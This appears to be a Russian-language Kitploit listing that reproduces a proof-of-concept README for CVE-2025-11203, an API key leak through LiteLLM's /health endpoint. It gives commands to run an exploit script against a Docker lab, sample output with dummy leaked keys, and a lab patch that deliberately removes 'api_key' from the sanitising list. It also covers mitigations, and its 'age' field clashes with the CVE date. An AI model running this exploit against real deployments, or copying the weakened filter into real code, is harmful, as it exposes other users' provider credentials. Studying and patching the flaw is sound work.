Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/learner202649/cve-2025-11203-poc
Анализ уязвимостейЭксплуатацияСбор информацииВеб-безопасностьОбучение и ОбразованиеБезопасность API
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

Код для самостоятельного воспроизведения соответствующей уязвимости

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-11203 — Раскрытие API_KEY через эндпоинт Health LiteLLM

LiteLLM (версии < 1.63.14) при обработке параметра api_key на эндпоинте /health неправильно фильтрует конфиденциальную информацию, позволяя аутентифицированным пользователям получать API Key, хранящиеся в конфигурациях других моделей. Поле api_key, которое должно удаляться функцией _clean_endpoint_data(), утекает в некоторых путях кода.

ПолеЗначение
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Раскрытие конфиденциальной информации неавторизованному субъекту)
ЗатронутыеLiteLLM < 1.63.14
Исправленоv1.63.14+ (полное применение _clean_endpoint_data())
Опубликовано2025-10-29
ОбнаружилиDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Сообщено вендору2025-03-25
СсылкиZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Описание

Эндпоинт /health в LiteLLM используется для возврата состояния здоровья всех настроенных моделей. В нормальной ситуации функция _clean_endpoint_data() должна удалять из ответа проверки здоровья конфиденциальные поля (например, api_key, x-api-key и т.д.).

Однако до версии v1.63.14 эта функция очистки в некоторых путях кода не выполнялась или выполнялась не полностью, в результате чего API Key из конфигураций моделей возвращались в ответе проверки здоровья в открытом виде.

Уязвимые эндпоинты

ЭндпоинтМетодОписание
/healthGETВозвращает состояние здоровья всех моделей
/health/livelinessGETПроверка активности
/health/readinessGETПроверка готовности

Раскрываемая конфиденциальная информация

Аутентифицированные пользователи могут получить через интерфейс проверки здоровья:

  • API Key всех настроенных моделей (OpenAI, Anthropic, Azure и т.д.)
  • URL эндпоинтов моделей и другую информацию
  • Сохранённые учётные данные могут быть использованы для дальнейших атак

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. Запустить уязвимую версию LiteLLM
docker compose up -d

# 2. Установить зависимости
pip install -r requirements.txt

# 3. Запустить эксплойт
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. Просмотреть полный ответ
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (Опционально) Проверить исправленную версию
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Ожидаемый вывод

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Примечание: Шаг 1 занимает ~60 секунд, поскольку LiteLLM опрашивает каждую вышестоящую модель (фиктивные ключи приводят к тайм-ауту каждого соединения). Утёкшие ключи отображаются в unhealthy_endpoints, так как фиктивные ключи не могут подключиться к OpenAI/Anthropic.

Исправленная версия не раскрывает:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technical Details

Уязвимый код

Уязвимость находится в функции _clean_endpoint_data() в файле litellm/proxy/health_check.py, которая фильтрует конфиденциальные поля (например, api_key) через список ILLEGAL_DISPLAY_PARAMS:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

В данной демонстрации с помощью sed из списка ILLEGAL_DISPLAY_PARAMS было удалено "api_key", что заставляет эндпоинт /health возвращать исходные конфигурации моделей, имитируя обход функции очистки в некоторых путях кода.

Влияние

  • Аутентифицированные пользователи с низкими привилегиями могут прочитать API Key всех настроенных моделей
  • Утёкшие учётные данные могут быть использованы для прямого вызова API провайдеров LLM
  • Возможна дальнейшая утечка данных и захват учётных записей

Environment

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Fix

Исправлено в v1.63.14: обеспечен корректный вызов _clean_endpoint_data() во всех путях кода проверки здоровья.

Смягчающие меры

  1. Обновите LiteLLM до v1.63.14+
  2. Если обновление невозможно, ограничьте источники доступа к эндпоинту /health
  3. Мониторьте аномальный доступ к эндпоинтам проверки здоровья

Ссылки

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Отказ от ответственности: Этот материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.

Скачать инструмент